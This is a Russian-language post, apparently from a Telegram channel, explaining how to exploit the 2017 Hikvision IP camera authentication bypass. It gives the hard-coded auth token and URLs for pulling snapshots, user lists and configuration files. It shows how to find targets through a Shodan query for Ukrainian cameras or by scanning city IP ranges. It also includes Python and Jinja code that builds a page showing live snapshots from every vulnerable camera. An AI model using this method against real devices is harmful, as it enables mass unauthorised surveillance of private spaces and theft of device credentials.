Hikvision уязвимость и автоматизация
Hikvision — Согласно Википедии:
китайская компания. Крупнейший в мире поставщик продуктов для видеонаблюдения и готовых решений по видеонаблюдению. Будучи основанной в 2001 году, компания Hikvision сегодня обеспечивает работой более 60000 сотрудников, включая научно-исследовательский штат в 40000 человек.
Думаю многие из вас, как минимум даже если и не работали с данными камерами, то как минимум эти камеры где-то и видели. Не смотря на популярность компании, то и дело, всплывают новые уязвимости, реакция на которые к сожалению не самая быстрая, но тем не менее, Hikvision хоть как-то пытается держать марку, среди остального китайского ширпотреба оборудования для видеонаблюдения
Уязвимость от 12 сентября 2017г
Речь сегодня пойдет о разборе именно этой уязвимости и способах автоматизировать рутинный перебор уязвимых камер, но сначала немного о самой уязвимости, кстати подробно вы можете ознакомиться здесь
YWRtaW46MTEK что ты такое?
Вся уязвимость максимально проста и понятна:
Мы имеем ссылку следующего плана
http://192.168.0.101/onvif-http/snapshot?auth=YWRtaW46MTEK
192.168.0.101 - IP адрес камеры видеонаблюдения
onvif-http - путь запроса к функциям
snapshot - функция снимка с камеры
?auth - выполнения функции с аутентификационными данным YWRtaW46MTEK
YWRtaW46MTEK - Это не какой-то заумный шифр, если перевести с Base64, то мы получим вполне логичное объяснение почему это работает
Как вы уже могли догадаться, мы получаем доступ к функции получения снимка с камеры, используя аунтентификационные данные администратора, на этом магия всё (кстати можно получать не только снимки, но и получать доступ к конфигурационному файлу, а так же к списку пользователей)
Retrieve a list of all users and their roles: http://camera.ip/Security/users?auth=YWRtaW46MTEK Obtain a camera snapshot without authentication: http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK And worst of all, one can download camera configuration: http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
Пробуем получить камеры
Можно конечно заморочится и собрать IP диапазоны интересующего нас города, просканировать все IP адреса, отсеять по нужному порту. Но есть вариант немного проще, но не значит что эффективнее, а именно shodan
SHODAN - Видит всё
Поисковая система, позволяющая пользователям искать различные типы серверов (веб-камеры, маршрутизаторы, серверы и так далее), подключённых к сети Интернет, с использованием различных фильтров.
Мы используем фильтр: country:"ua" product:"Hikvision IP Camera"
product:"Hikvision IP Camera" - продукт (Hikvision IP камера)
Видим, что мы получаем Ip адреса, но это просто IP адреса камер Hikvision, и не означает то, что данные камеры являются уязвимыми. Мы можем просто подменять IP адреса в ссылках и по итогу, если камера уязвима, то у нас откроется скриншот с камеры.
А если без Shodan
- Ip диапазоны целевого города: IP диапазоны городов (4it.me)
- Сканер IP (masscan, RouterScan, Nmap)
Для начала выбираем город на сайте 4it.me
Получаем список IP адресов, теперь переходим в любой удобный сканер IP адресов. Просмотре в интернете, мы может найти популярные порты на которых работают камеры Hikvision, а именно их веб интерфейс. (80, 81, 8080, 8081 итд)
Сканируем, подставляем IP адреса к имеющейся ссылке, и если устройство уязвимо
Отлично, давайте как-то автоматизируем с вами процесс поиска уязвимых камер?
Создадим файл main.py с следующей логикой:
Сохраняем список IP адресов в csv файле, после, с помощью шаблонизатора Jinja создаём html файл, на bootstrap для удобства, с карточками, изображениями карточек будут ссылки с переменной, куда и будут подставлятся IP адреса
http://{{item.ip}}/onvif-http/snapshot?auth=YWRtaW46MTEK
import csv from jinja2 import Environment, FileSystemLoader # Загрузка данных из CSV-файла data = [] with open('ip_res.csv', 'r') as file: reader = csv.DictReader(file, delimiter=',') for row in reader: print(row) data.append(row) # Настройка Jinja2env = Environment(loader=FileSystemLoader('.')) template = env.get_template('index.html') # Генерация HTML-страницы html = template.render(data=data) # Сохранение HTML-файла with open('result_f.html', 'w') as file: file.write(html)
Создадим файл index.html в папке template
<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bootstrap Cards</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> </head> <body> <div class="container my-5"> <div class="row"> {% for item in data %} <div class="col-md-4 mb-4"> <div class="card"> <img src="http://{{item.ip}}/onvif-http/snapshot?auth=YWRtaW46MTEK" class="card-img-top" alt="{{ item.name }}"> <div class="card-body"> <h5 class="card-title">{{ item.ip }}</h5> <p class="card-text">1</p> </div> </div> </div> {% endfor %} </div> </div> </body> </html>
В итоге мы получим с вами файл (result_f.html) в котором картинки будут присутствовать только у тех камер которые собственно являются уязвимыми.
На этом всё, не забывайте подписываться на наш канал
ССЫЛКА НА КАНАЛ: https://t.me/ne_osint